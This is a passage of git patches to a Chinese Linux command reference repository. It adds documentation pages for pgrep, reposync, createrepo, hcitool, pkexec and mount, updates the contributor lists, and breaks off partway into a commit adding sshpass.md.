--exact：精确匹配进程名称。 +-F, --pidfile ：从文件中读取PID。 +-L, --logpidfile：如果PID文件没有锁定，则失败。 +-r, --runstates ：匹配运行状态（D, S, Z等）。 +--ns ：匹配与指定PID相同命名空间的进程。 +--nslist ：列出将在 --ns 选项中考虑的命名空间。可用的命名空间包括：ipc、mnt、net、pid、user、uts。 ``` ### 参数 @@ -55,6 +72,16 @@ pgrep -lo httpd 4564 4565 4566 + +[root@localhost ~]# pgrep -x httpd +4557 +4560 +4561 +4562 +4563 +4564 +4565 +4566 ``` From 96bacc400306e3d4918c6264a5c10a79ae4261f0 Mon Sep 17 00:00:00 2001 From: "github-actions[bot]" Date: Sat, 15 Jul 2023 02:32:22 +0000 Subject: [PATCH 0747/1019] doc: update README.md. --- README.md | 3 +++ 1 file changed, 3 insertions(+) diff --git a/README.md b/README.md index 26a9c1523e8..7688b6b5da0 100644 --- a/README.md +++ b/README.md @@ -586,6 +586,9 @@ https://raw.githubusercontent.com/jaywcjlove/linux-command/master/command/<命 Xonline-Tech + + Xu Chao + Xu Chunyang From 7720e1a28000a6d7c22143c58c75f596fe853c1a Mon Sep 17 00:00:00 2001 From: "github-actions[bot]" Date: Sat, 15 Jul 2023 02:32:23 +0000 Subject: [PATCH 0748/1019] doc: update template/contributors.ejs. --- template/contributors.ejs | 3 +++ 1 file changed, 3 insertions(+) diff --git a/template/contributors.ejs b/template/contributors.ejs index 68c08809e0b..a32430c16af 100644 --- a/template/contributors.ejs +++ b/template/contributors.ejs @@ -222,6 +222,9 @@ Xonline-Tech + + Xu Chao + Xu Chunyang From 25182ed8abbd77736f646b38bdff6cc5cdb5094a Mon Sep 17 00:00:00 2001 From: YH <114390595+YanhiWang@users.noreply.github.com> Date: Thu, 7 Sep 2023 13:57:49 +0800 Subject: [PATCH 0749/1019] feat: Add reposync.md (#524) * Create reposync.md * Update reposync.md --------- Co-authored-by: YH <114390595+aini294339791@users.noreply.github.com> --- command/reposync.md | 100 ++++++++++++++++++++++++++++++++++++++++++++ 1 file changed, 100 insertions(+) create mode 100644 command/reposync.md diff --git a/command/reposync.md b/command/reposync.md new file mode 100644 index 00000000000..71fb087f937 --- /dev/null +++ b/command/reposync.md @@ -0,0 +1,100 @@ +reposync +=== + +同步yum存储库到本地目录 + +## 概要 + +```shell +reposync [选项] +``` + +## 主要用途 + +reposync用于将远程yum存储库同步到本地目录，使用yum检索包。 + +## 选项 + +```shell +-h, --help +# 显示帮助信息 + +-c CONFIG, --config=CONFIG +# 指定配置文件(默认为/etc/yum.conf) + +-a ARCH, --arch=ARCH +# 指定arch + +--source +# 同时下载src和rpm文件. + +-r REPOID, --repoid=REPOID +# 指定要查询的repo id，可以指定多次(默认为全部启用)。 + +-e CACHEDIR, --cachedir CACHEDIR +# 存储元数据的目录。 + +-t, --tempcache +# 使用临时目录存储/访问yum-cache。 + +-d, --delete +# 删除存储库中不再存在的本地包。 + +-p DESTDIR, --download_path=DESTDIR +# 指定下载路径:默认为当前目录。 + +--norepopath +# 不要将重命名添加到下载路径中。只能在同步单个存储库时使用(默认是添加重命名)。 + +-g, --gpgcheck +# 下载后删除GPG签名检查失败的包。如果至少有一个包被删除，退出状态为“1”。 + +-u, --urls +# 只列出要下载的内容的url，不要下载。 + +-l, --plugins +# 启用yum插件支持。 + +-m, --downloadcomps +# 同时下载comps.xml。 + +--download-metadata +# 下载所有非默认元数据。 + +-n, --newest-only +# 每个repo只下载最新的包。 + +-q, --quiet +# 输出尽可能少的信息。 + +--allow-path-traversal +# 允许同步存储在repo目录之外的包。这些包是在元数据中通过使用绝对路径或上一级“..”系统引用的并且出于安全原因通常会在reposync中跳过。 +# 注意:使用此选项有潜在的安全隐患，因为通过提供恶意repodata，攻击者可以使reposync写入任意位置运行该文件系统的用户可以访问的文件系统。 +``` + +## 例子 + +```shell +# 将'updates'仓库中的所有包同步到当前目录: +reposync --repoid=updates + +# 只同步最新的包从'updates'仓库到当前目录: +reposync -n --repoid=updates + +# 将'updates'和'extras'仓库中的包同步到当前目录: +reposync --repoid=updates --repoid=extras + +# 将'updates'仓库中的所有包同步到repos目录: +reposync -p repos --repoid=updates + +# 将'updates'仓库中的所有包同步到repos目录，排除x86_64架构文件。编辑/etc/yum.conf，添加选项exclude=*.x86_64。再执行: +reposync -p repos --repoid=updates +``` + +## 文件 + +reposync使用yum库来检索信息和包。如果没有指定配置文件，将使用默认的yum配置。 + +* /etc/yum.conf +* /etc/yum/repos.d/ + From adbf5b3cea7cdea47be99f4064fa6ff0ae7fc6c5 Mon Sep 17 00:00:00 2001 From: "github-actions[bot]" Date: Thu, 7 Sep 2023 05:58:44 +0000 Subject: [PATCH 0750/1019] doc: update README.md. --- README.md | 20 +++++++++++++------- 1 file changed, 13 insertions(+), 7 deletions(-) diff --git a/README.md b/README.md index 7688b6b5da0..dd691eb525c 100644 --- a/README.md +++ b/README.md @@ -415,6 +415,9 @@ https://raw.githubusercontent.com/jaywcjlove/linux-command/master/command/<命 Lnkstls + + SteveLauC + lavaicer @@ -586,12 +589,15 @@ https://raw.githubusercontent.com/jaywcjlove/linux-command/master/command/<命 Xonline-Tech - - Xu Chao + + Isidro Osoria Xu Chunyang + + YH + Yan Sheng @@ -652,7 +658,7 @@ https://raw.githubusercontent.com/jaywcjlove/linux-command/master/command/<命 gggwvg - + ghy @@ -706,8 +712,8 @@ https://raw.githubusercontent.com/jaywcjlove/linux-command/master/command/<命 snovey - - sunls25 + + sunls23 tangke @@ -787,8 +793,8 @@ https://raw.githubusercontent.com/jaywcjlove/linux-command/master/command/<命 远方 - - catandz + + Panthea Johnson 黑&蛋 From dd87d7b2fbe840761846d8601ef63509893d6156 Mon Sep 17 00:00:00 2001 From: "github-actions[bot]" Date: Thu, 7 Sep 2023 05:58:45 +0000 Subject: [PATCH 0751/1019] doc: update template/contributors.ejs. --- template/contributors.ejs | 20 +++++++++++++------- 1 file changed, 13 insertions(+), 7 deletions(-) diff --git a/template/contributors.ejs b/template/contributors.ejs index a32430c16af..884d26a804d 100644 --- a/template/contributors.ejs +++ b/template/contributors.ejs @@ -51,6 +51,9 @@ Lnkstls + + SteveLauC + lavaicer @@ -222,12 +225,15 @@ Xonline-Tech - - Xu Chao + + Isidro Osoria Xu Chunyang + + YH + Yan Sheng @@ -288,7 +294,7 @@ gggwvg - + ghy @@ -342,8 +348,8 @@ snovey - - sunls25 + + sunls23 tangke @@ -423,8 +429,8 @@ 远方 - - catandz + + Panthea Johnson 黑&蛋 From 605c02756413dc07a27e7c1de8a72050cdfd2918 Mon Sep 17 00:00:00 2001 From: YH <114390595+YanhiWang@users.noreply.github.com> Date: Thu, 7 Sep 2023 15:23:07 +0800 Subject: [PATCH 0752/1019] feat: add createrepo.md (#525) --- command/createrepo.md | 147 ++++++++++++++++++++++++++++++++++++++++++ 1 file changed, 147 insertions(+) create mode 100644 command/createrepo.md diff --git a/command/createrepo.md b/command/createrepo.md new file mode 100644 index 00000000000..979bf0cdccf --- /dev/null +++ b/command/createrepo.md @@ -0,0 +1,147 @@ +createrepo +=== + +创建YUM仓库 + +## 概要 + +```shell +createrepo [选项] <目录> +``` + +## 描述 + +`createrepo`是一个程序，它从一组RPM创建一个RPM元数据存储库，即YUM仓库。 + +## 选项 + +```shell +-u --baseurl +# 指定Base URL的地址 + +-o --outputdir +# 指定元数据的输出位置 + +-x --excludes +# 指定在形成元数据时需要排除的包 + +-i --pkglist +# 指定一个文件，该文件内的包信息将被包含在即将生成的元数据中，格式为每个包信息独占一行，不含通配符、正则，以及范围表达式。 + +-n --includepkg +# 通过命令行指定要纳入本地库中的包信息，需要提供URL或本地路径。 + +-q --quiet +# 安静模式执行操作，不输出任何信息。 + +-g --groupfile +# 指定本地软件仓库的组划分，示例：createrepo -g comps.xml /path/to/rpms +# 注意：组文件需要和rpm包放置于同一路径下。 + +-v --verbose +# 输出详细信息。 + +-c --cachedir +# 指定一个目录，用作存放软件仓库中软件包的校验和信息。 +# 当createrepo在未发生明显改变的相同仓库文件上持续多次运行时，指定cachedir会明显提高其性能。 + +--basedir +# Basedir为repodata中目录的路径，默认为当前工作目录。 + +--update +# 如果元数据已经存在，且软件仓库中只有部分软件发生了改变或增减， +# 则可用update参数直接对原有元数据进行升级，效率比重新分析rpm包依赖并生成新的元数据要高很多。 + +--skip-stat +# 跳过--update上的stat()调用，假设如果文件名相同，则文件仍然相同(仅在您相当信任或容易受骗时使用此方法)。 + +--update-md-path +# 从这个路径使用现有的repodata来升级。 + +-C --checkts +# 不要生成回购元数据，如果它们的时间戳比rpm更新。如果您碰巧开启了该选项，则此选项将再次大幅减少处理时间一个未修改的回购，但它(目前)与——split选项互斥。注意:当包从repo中删除时，这个命令不会注意到。使用——update来处理这个。 + +--split +# 在拆分媒体模式下运行。与其传递单个目录，不如获取一组对应于媒体集中不同卷的目录。 + +-p --pretty +# 以整洁的格式输出xml文件。 + +--version +# 输出版本。 + +-h --help +# 显示帮助菜单。 + +-d --database +# 该选项指定使用SQLite来存储生成的元数据，默认项。 + +--no-database +# 不要在存储库中生成sqlite数据库。 + +-S --skip-symlinks +# 忽略包的符号链接 + +-s --checksum +# 选择repmed .xml中使用的校验和类型以及元数据中的包。默认值现在是“sha256”(如果python有hashlib)。旧的默认值是“sha”，它实际上是“sha1”，但是显式使用“sha1”在旧版本(3.0.x)的yum上不起作用，您需要指定“sha”。 + +--profile +# 输出基于时间的分析信息。 + +--changelog-limit CHANGELOG_LIMIT +# 只将每个rpm中的最后N个变更日志条目导入元数据 + +--unique-md-filenames +# 在元数据文件名中包含文件的校验和，有助于HTTP缓存(默认) + +--simple-md-filenames +# 不要在元数据文件名中包含文件的校验和。 + +--retain-old-md +# 保留旧repodata的最新(按时间戳)N个副本(这样使用旧repodata .xml文件的客户端仍然可以访问它)。默认为0。 + +--distro +指定发行版标签。可以多次指定。可选语法，指定cpeid(http://cpe.mitre.org/)——distro=cpeid,distrotag + +--content +# 指定关于存储库内容的关键字/标记。可以多次指定。 + +--repo +# 指定关于存储库本身的关键字/标签。可以多次指定。 + +--revision +# 存储库修订的任意字符串。 + +--deltas +# 告诉createrepo生成增量数据和增量元数据 + +--oldpackagedirs PATH +# 寻找更老的PKGS来对抗的路径。可以指定多次吗 + +--num-deltas int +# 要进行增量处理的旧版本的数量。默认为1 + +--read-pkgs-list READ_PKGS_LIST +# 使用——update将路径输出到PKGS实际读起来很有用 + +--max-delta-rpm-size MAX_DELTA_RPM_SIZE +# 要运行deltarpm的RPM的最大大小(以字节为单位) + +--workers WORKERS +# 为读取RPMS而生成的工作线程数 + +--compress-type +# 指定要使用的压缩方法:compat(默认)，xz(可能不可用)，gz, bz2。 + +``` + +## 返回值 + +返回状态为成功除非给出了非法选项或非法参数。 + +## 例子 + +```shell +# 生成带有groups文件的存储库。注意groups文件应该和rpm包在同一个目录下(即/path/to/rpms/comps.xml)。 +createrepo -g comps.xml /path/to/rpms +``` From 13d0b52f442944a8c6920559bfc4e316ffe14f2b Mon Sep 17 00:00:00 2001 From: "github-actions[bot]" Date: Thu, 7 Sep 2023 07:24:00 +0000 Subject: [PATCH 0753/1019] doc: update README.md. --- README.md | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/README.md b/README.md index dd691eb525c..98190203974 100644 --- a/README.md +++ b/README.md @@ -457,6 +457,9 @@ https://raw.githubusercontent.com/jaywcjlove/linux-command/master/command/<命 Xrtero + + YH + Dazhuangw @@ -595,9 +598,6 @@ https://raw.githubusercontent.com/jaywcjlove/linux-command/master/command/<命 Xu Chunyang - - YH - Yan Sheng From 4bed11a2ba29b9ef99cbf495d8bc66957f072f22 Mon Sep 17 00:00:00 2001 From: "github-actions[bot]" Date: Thu, 7 Sep 2023 07:24:01 +0000 Subject: [PATCH 0754/1019] doc: update template/contributors.ejs. --- template/contributors.ejs | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/template/contributors.ejs b/template/contributors.ejs index 884d26a804d..5f7ce6ee456 100644 --- a/template/contributors.ejs +++ b/template/contributors.ejs @@ -93,6 +93,9 @@ Xrtero + + YH + Dazhuangw @@ -231,9 +234,6 @@ Xu Chunyang - - YH - Yan Sheng From f2851b35129404eb53a765f3a36a96141ab7a734 Mon Sep 17 00:00:00 2001 From: zyimm <799783009@qq.com> Date: Wed, 27 Sep 2023 10:36:48 +0800 Subject: [PATCH 0755/1019] feat: add hcitool (#526) --- command/hcitool | 77 +++++++++++++++++++++++++++++++++++++++++++++++++ 1 file changed, 77 insertions(+) create mode 100644 command/hcitool diff --git a/command/hcitool b/command/hcitool new file mode 100644 index 00000000000..1e21b9ebce3 --- /dev/null +++ b/command/hcitool @@ -0,0 +1,77 @@ +hcitool +=== + +hcitool是一个Linux命令行工具，用于管理和调试蓝牙设备。它可以用于扫描周围的蓝牙设备、连接到蓝牙设备发送命令和数据包等。 + +## 安装 + +hcitool是一个Linux命令行工具，通常已经预装在大多数Linux行版中。如果您的系统中没有安装hcitool，可以使用以下命令进行安装(debian系列发行示例) + +```bash +sudo apt-get install bluez +``` + +## 使用 +注意事项： +1. 使用ble相关命令需要提权如:lescan + + +### 语法 + +`hcitool [options] [command parameters]` + +### 命令 + +```bash + dev 显示本地设备 + inq 查询远程设备 + scan 扫描远程设备 + name 从远程设备获取名称 + info 从远程设备获取信息 + spinq 启动定期查询 + epinq 退出定期查询 + cmd 提交任意HCI命令 + con 显示活动连接 + cc 创建到远程设备的连接 + dc 断开与远程设备的连接 + sr 交换机中心/外围角色 + cpt 更改连接数据包类型 + rssi 显示连接rssi + lq 显示链路质量 + tpl 显示发射功率电平 + afh 显示afh通道图 + lp 设置/显示链接策略设置 + lst 设置/显示链接监控超时 + auth 请求身份验证 + enc 设置连接加密 + key 更改连接链接键 + clkoff 读取时钟偏移 + clock 读取本地或远程时钟 + lescan 启动LE扫描 + leinfo 获取LE远程信息 + lealadd 将设备添加到LE接受列表 + lealrm 从LE接受列表中删除设备 + lealsz LE接受列表的读取大小 + lealclr 清除LE接受列表 + +``` +### 常用简单示例 +1.扫描周围的蓝牙设备 + +`hcitool scan` + +2.通过mac地址连接到蓝牙设备 + +`hcitool cc ` + +3.显示当前蓝牙适配器信息 + +`hcitool dev` + +4.通过mac地址找到蓝牙名称 + +`hcitool name ` + +5.显示当前蓝牙活动连接信息 + +`hcitool con` From cdc8fd81a9a0829de052c435972343090b7e39ec Mon Sep 17 00:00:00 2001 From: "github-actions[bot]" Date: Wed, 27 Sep 2023 02:37:18 +0000 Subject: [PATCH 0756/1019] doc: update README.md. --- README.md | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/README.md b/README.md index 98190203974..17c378b80ea 100644 --- a/README.md +++ b/README.md @@ -736,9 +736,6 @@ https://raw.githubusercontent.com/jaywcjlove/linux-command/master/command/<命 yanyx - - zengFz - zjlovezj @@ -751,6 +748,9 @@ https://raw.githubusercontent.com/jaywcjlove/linux-command/master/command/<命 zuixin369 + + zyimm + 七朔 From e1278ed527fe5fc9e6e5d63e44667f3723fbbb73 Mon Sep 17 00:00:00 2001 From: "github-actions[bot]" Date: Wed, 27 Sep 2023 02:37:18 +0000 Subject: [PATCH 0757/1019] doc: update template/contributors.ejs. --- template/contributors.ejs | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/template/contributors.ejs b/template/contributors.ejs index 5f7ce6ee456..1c35cb6fd3f 100644 --- a/template/contributors.ejs +++ b/template/contributors.ejs @@ -372,9 +372,6 @@ yanyx - - zengFz - zjlovezj @@ -387,6 +384,9 @@ zuixin369 + + zyimm + 七朔 From 1f1bd4cae328e21145bf647f7e5c0da40752234e Mon Sep 17 00:00:00 2001 From: "renovate[bot]" <29139614+renovate[bot]@users.noreply.github.com> Date: Thu, 28 Sep 2023 07:10:20 -0500 Subject: [PATCH 0758/1019] chore(deps): update dependency markdown-to-html-cli to v4 (#527) Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com> --- package.json | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/package.json b/package.json index 75b6e12c54d..7a41fc8a286 100644 --- a/package.json +++ b/package.json @@ -31,7 +31,7 @@ "ejs": "~3.1.6", "compressing": "^1.6.2", "fs-extra": "~10.1.0", - "markdown-to-html-cli": "~3.6.0", + "markdown-to-html-cli": "~4.0.0", "sitemap-generator": "~8.5.1", "sqlite3": "5.0.8", "stylus": "~0.59.0", From 13e5963b66facc36393ba4a051d877724b6e32de Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?=E4=B8=9B=E6=9E=97=E6=84=8F=E5=BF=97?= Date: Mon, 9 Oct 2023 00:51:53 +0800 Subject: [PATCH 0759/1019] feat: add pkexec.md (#520) (#529) MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit * feat:add pkexec.md(#520) * 更新 pkexec.md --- command/pkexec.md | 42 ++++++++++++++++++++++++++++++++++++++++++ 1 file changed, 42 insertions(+) create mode 100644 command/pkexec.md diff --git a/command/pkexec.md b/command/pkexec.md new file mode 100644 index 00000000000..a36a1505953 --- /dev/null +++ b/command/pkexec.md @@ -0,0 +1,42 @@ +pkexec +=== +以另一个用户身份执行命令 + +## 补充说明 + +**pkexec** 允许授权用户以另一个用户的身份执行 PROGRAM。如果未指定 +PROGRAM，则将运行默认 shell。如果未指定用户名，则程序将以管理超级用户 root +的身份执行。 + +### 语法 + +```shell +pkexec [--version] [--disable-internal-agent] [--help] + +pkexec [--keep-cwd] [--user username] PROGRAM [ARGUMENTS...] +``` + +### 选项 + +```shell +PROGRAM 运行的程序 +ARGUMENTS... 传递给程序的参数 + +--version 输出版本号然后退出 +--disable-internal-agent 避免将注册自己的文本身份验证代理 +--help 输出帮助文本然后退出 +--keep-cwd 运行位置，默认在 /home// +--user 需要运行的用户名 +``` + +### 返回值 + +成功完成后，返回值为 PROGRAM 的返回值。 + +127: 在未获得授权或者身份验证发生错误 + +126: 用户关闭身份验证对话框而无法获得授权 + +### 参考资料 + +- https://man.archlinux.org/man/pkexec.1.en From 9607bdda39c85843e24db69fd787835bf0036eca Mon Sep 17 00:00:00 2001 From: "github-actions[bot]" Date: Sun, 8 Oct 2023 16:52:48 +0000 Subject: [PATCH 0760/1019] doc: update README.md. --- README.md | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/README.md b/README.md index 17c378b80ea..aa4e4efb432 100644 --- a/README.md +++ b/README.md @@ -409,6 +409,9 @@ https://raw.githubusercontent.com/jaywcjlove/linux-command/master/command/<命 __FresHmaN + + 丛林意志 + James Wang @@ -433,9 +436,6 @@ https://raw.githubusercontent.com/jaywcjlove/linux-command/master/command/<命 ernest - - 丛林意志 - 谈笑风生间 From 472187318633faeda0bd2a1f72e3b595590877bb Mon Sep 17 00:00:00 2001 From: "github-actions[bot]" Date: Sun, 8 Oct 2023 16:52:49 +0000 Subject: [PATCH 0761/1019] doc: update template/contributors.ejs. --- template/contributors.ejs | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/template/contributors.ejs b/template/contributors.ejs index 1c35cb6fd3f..07e55d2ee10 100644 --- a/template/contributors.ejs +++ b/template/contributors.ejs @@ -45,6 +45,9 @@ __FresHmaN + + 丛林意志 + James Wang @@ -69,9 +72,6 @@ ernest - - 丛林意志 - 谈笑风生间 From e9e965effddd613f262bce8e754b56d86786339d Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?=E5=B0=8F=E5=BC=9F=E8=B0=83=E8=B0=83?= Date: Sun, 8 Oct 2023 11:58:19 -0500 Subject: [PATCH 0762/1019] doc: Update pkexec.md (#529) --- command/pkexec.md | 43 +++++++++++++++++++++++++++++++++++++++---- 1 file changed, 39 insertions(+), 4 deletions(-) diff --git a/command/pkexec.md b/command/pkexec.md index a36a1505953..ec7ad702fe4 100644 --- a/command/pkexec.md +++ b/command/pkexec.md @@ -1,6 +1,7 @@ pkexec === -以另一个用户身份执行命令 + +以其他用户身份执行命令 ## 补充说明 @@ -12,7 +13,6 @@ PROGRAM，则将运行默认 shell。如果未指定用户名，则程序将以 ```shell pkexec [--version] [--disable-internal-agent] [--help] - pkexec [--keep-cwd] [--user username] PROGRAM [ARGUMENTS...] ``` @@ -33,9 +33,44 @@ ARGUMENTS... 传递给程序的参数 成功完成后，返回值为 PROGRAM 的返回值。 -127: 在未获得授权或者身份验证发生错误 +- `127`: 在未获得授权或者身份验证发生错误 +- `126`: 用户关闭身份验证对话框而无法获得授权 + +### 示例 + +1. 运行具有管理员权限的命令： + +``` +pkexec command +``` + +将 `command` 替换为你要以管理员权限运行的命令。例如，`pkexec ls` 将以管理员权限运行 `ls` 命令。 + +2. 以图形界面运行具有管理员权限的命令： + +``` +pkexec env DISPLAY=$DISPLAY XAUTHORITY=$XAUTHORITY command +``` + +这个命令用于在图形界面中运行需要管理员权限的命令。将 `command` 替换为你要以管理员权限运行的命令。 + +3. 运行具有特定身份验证代理的命令： + +``` +pkexec --user username command +``` + +将 `username` 替换为你要作为哪个用户运行命令的用户名，将 `command` 替换为你要运行的命令。 + +4. 查看 `pkexec` 的帮助信息： + +``` +pkexec --help +``` + +这个命令将显示 `pkexec` 的使用说明和选项列表。 -126: 用户关闭身份验证对话框而无法获得授权 +请注意，使用 `pkexec` 运行命令时，系统会提示你输入管理员密码进行身份验证。确保只在必要时使用 `pkexec` 来运行需要管理员权限的命令，并小心谨慎地处理管理员权限。 ### 参考资料 From efb73d959172501237240321bbe93851545680fa Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?=E5=B0=8F=E5=BC=9F=E8=B0=83=E8=B0=83?= Date: Fri, 13 Oct 2023 23:14:33 -0500 Subject: [PATCH 0763/1019] doc: Update CONTRIBUTING.md --- CONTRIBUTING.md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/CONTRIBUTING.md b/CONTRIBUTING.md index 48e19e5b475..58c68de3946 100644 --- a/CONTRIBUTING.md +++ b/CONTRIBUTING.md @@ -19,7 +19,7 @@ ```markdown CommandName === -作为代码规范文档进行展示 +z ## 补充说明 From 38609c77efd20d10d8b99f2eb6a7de69a7ca4128 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?=E5=B0=8F=E5=BC=9F=E8=B0=83=E8=B0=83?= Date: Fri, 13 Oct 2023 23:16:35 -0500 Subject: [PATCH 0764/1019] doc: Update CONTRIBUTING.md (#497) --- CONTRIBUTING.md | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) diff --git a/CONTRIBUTING.md b/CONTRIBUTING.md index 58c68de3946..a43f4472839 100644 --- a/CONTRIBUTING.md +++ b/CONTRIBUTING.md @@ -19,7 +19,8 @@ ```markdown CommandName === -z + +这里是命令介绍，它可以被搜索到，如果你有个流行的应用，包含多个命令，可放到这里，以便搜索到对应的命令 ## 补充说明 From df3bffe73588faf11f60270f4ef9b035e3d92af1 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?=E5=B0=8F=E5=BC=9F=E8=B0=83=E8=B0=83?= Date: Fri, 13 Oct 2023 23:26:27 -0500 Subject: [PATCH 0765/1019] doc: Update README.md --- README.md | 5 ++--- 1 file changed, 2 insertions(+), 3 deletions(-) diff --git a/README.md b/README.md index aa4e4efb432..2aafd2cfd15 100644 --- a/README.md +++ b/README.md @@ -37,12 +37,11 @@ **推荐使用的镜像 web 版本** -[**`qq.wdev.cn`**](https://qq.wdev.cn) -[**`linux.devonline.net`**](http://linux.devonline.net/)，[**`man.zch.ooo`**](https://man.zch.ooo/)，[**`linux.mmoke.com`**](https://linux.mmoke.com)，[**`bqrdh.com`**](https://tools.bqrdh.com/linux-command/)，[**`linux.zyimm.com`**](http://linux.zyimm.com/)，[linux.vovuo.com](https://linux.vovuo.com/)，[`linux.liguiying.cn`](https://linux.liguiying.cn/)，[**`linux.zgrnb.com`**](https://linux.zgrnb.com/) +[**`linux.devonline.net`**](http://linux.devonline.net/)，[**`man.zch.ooo`**](https://man.zch.ooo/)，[**`linux.mmoke.com`**](https://linux.mmoke.com)，[**`bqrdh.com`**](https://tools.bqrdh.com/linux-command/)，[**`linux.zyimm.com`**](http://linux.zyimm.com/)，[**`linux.vovuo.com`**](https://linux.vovuo.com/)，[`linux.liguiying.cn`](https://linux.liguiying.cn/) **其它 web 版本** -[`linux.ftqq.com`](https://linux.ftqq.com/)，[`linux.gaomeluo.com`](https://linux.gaomeluo.com)，[`atoolbox.net`](http://www.atoolbox.net/Tool.php?Id=826)，[`xiaoshanseo.com`](https://tools.xiaoshanseo.com/Tools/linux-command/)，[`262235.xyz`](https://262235.xyz/linux-command/)，[`cmsblogs.cn`](https://linux.cmsblogs.cn/)，[`loquy.cn`](https://www.loquy.cn/linux-command/)，[`buyao.vip`](https://demo.buyao.vip/linux/)，[`hezhiqiang.gitbook.io`](https://hezhiqiang.gitbook.io/linux/) +[`linux.ftqq.com`](https://linux.ftqq.com/)，[`linux.gaomeluo.com`](https://linux.gaomeluo.com)，[`atoolbox.net`](http://www.atoolbox.net/Tool.php?Id=826)，[`xiaoshanseo.com`](https://tools.xiaoshanseo.com/Tools/linux-command/)，[`262235.xyz`](https://262235.xyz/linux-command/)，[`cmsblogs.cn`](https://linux.cmsblogs.cn/)，[`loquy.cn`](https://www.loquy.cn/linux-command/)，[`buyao.vip`](https://demo.buyao.vip/linux/)，[`hezhiqiang.gitbook.io`](https://hezhiqiang.gitbook.io/linux/)，[`utils.fun`](https://linux.utils.fun/) ## 微信小程序版本 From f97571c23db6268f2386205bf046d726ae58a7be Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?=E4=B8=9B=E6=9E=97=E6=84=8F=E5=BF=97?= Date: Sun, 15 Oct 2023 14:09:24 +0800 Subject: [PATCH 0766/1019] doc: update command/mount.md (#531) MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit 另外，修复了 shell 代码块前的注释符号和部分格式 --- command/mount.md | 18 ++++++++++-------- 1 file changed, 10 insertions(+), 8 deletions(-) diff --git a/command/mount.md b/command/mount.md index fc284307895..8e23f9a58a1 100644 --- a/command/mount.md +++ b/command/mount.md @@ -39,8 +39,7 @@ mount [-fnrsvw] [-t vfstype] [-o options] device dir -o auto、-o noauto：打开/关闭自动挂上模式。 -o defaults:使用预设的选项 rw, suid, dev, exec, auto, nouser, and async. -o dev、-o nodev-o exec、-o noexec允许执行档被执行。 --o suid、-o nosuid： -允许执行档在 root 权限下执行。 +-o suid、-o nosuid：允许执行档在 root 权限下执行。 -o user、-o nouser：使用者可以执行 mount/umount 的动作。 -o remount：将一个已经挂下的档案系统重新用不同的方式挂上。例如原先是唯读的系统，现在用可读写的模式重新挂上。 -o ro：用唯读模式挂上。 @@ -53,19 +52,19 @@ mount [-fnrsvw] [-t vfstype] [-o options] device dir 将 `/dev/hda1` 挂在 `/mnt` 之下。 ```shell -#mount /dev/hda1 /mnt +mount /dev/hda1 /mnt ``` 将 `/dev/hda1` 用唯读模式挂在 `/mnt` 之下。 ```shell -#mount -o ro /dev/hda1 /mnt +mount -o ro /dev/hda1 /mnt ``` -将 `/tmp/image.iso` 这个光碟的 `image` 档使用 `loop` 模式挂在 `/mnt/cdrom` 之下。用这种方法可以将一般网络上可以找到的 `Linux` 光 碟 ISO 档在不烧录成光碟的情况下检视其内容。 +将 `/tmp/image.iso` 这个光碟的 `image` 档使用 `loop` 模式挂在 `/mnt/cdrom` 之下。用这种方法可以将一般网络上可以找到的 `Linux` 光碟 ISO 档在不烧录成光碟的情况下检视其内容。 ```shell -#mount -o loop /tmp/image.iso /mnt/cdrom +mount -o loop /tmp/image.iso /mnt/cdrom ``` ### 实例2 @@ -77,6 +76,9 @@ mount [-fnrsvw] [-t vfstype] [-o options] device dir mount -t davfs https://your.webdav.link.here /path/to/mount ``` +### 实例3 +挂载 Android 系统 system 分区到 `/dev/loopX`，在知道文件格式的情况下，可以用 -t 来指定文件格式，比如 ext4。 - - +```shell +mount -t ext4 /dev/loopX /mnt/system +``` From 4d0b0eef8159d897424bef7412f61763ea31fa83 Mon Sep 17 00:00:00 2001 From: "github-actions[bot]" Date: Sun, 15 Oct 2023 06:09:58 +0000 Subject: [PATCH 0767/1019] doc: update README.md. --- README.md | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/README.md b/README.md index 2aafd2cfd15..99478252e20 100644 --- a/README.md +++ b/README.md @@ -396,6 +396,9 @@ https://raw.githubusercontent.com/jaywcjlove/linux-command/master/command/<命 Glett + + 丛林意志 + Jayin Taung @@ -408,9 +411,6 @@ https://raw.githubusercontent.com/jaywcjlove/linux-command/master/command/<命 __FresHmaN - - 丛林意志 - James Wang From 1bd25995d8a4658b44dfb36d356ad6b8dd04af58 Mon Sep 17 00:00:00 2001 From: "github-actions[bot]" Date: Sun, 15 Oct 2023 06:09:59 +0000 Subject: [PATCH 0768/1019] doc: update template/contributors.ejs. --- template/contributors.ejs | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/template/contributors.ejs b/template/contributors.ejs index 07e55d2ee10..a9eb620ba17 100644 --- a/template/contributors.ejs +++ b/template/contributors.ejs @@ -33,6 +33,9 @@ Glett + + 丛林意志 + Jayin Taung @@ -45,9 +48,6 @@ __FresHmaN - - 丛林意志 - James Wang From 01484d7447fcab04ea48804f28c035e27e5d3cf6 Mon Sep 17 00:00:00 2001 From: alfred Date: Mon, 30 Oct 2023 11:11:31 +0800 Subject: [PATCH 0769/1019] feat: add command/sshpass.md (#537) --- command/sshpass.md | 67 ++++++++++++++++++++++++++++++++++++++++++++++ dist/data.json | 5 ++++ 2 files changed, 72 insertions(+) create mode 100644 command/sshpass.md diff --git a/command/sshpass.md b/command/sshpass.md new file mode 100644 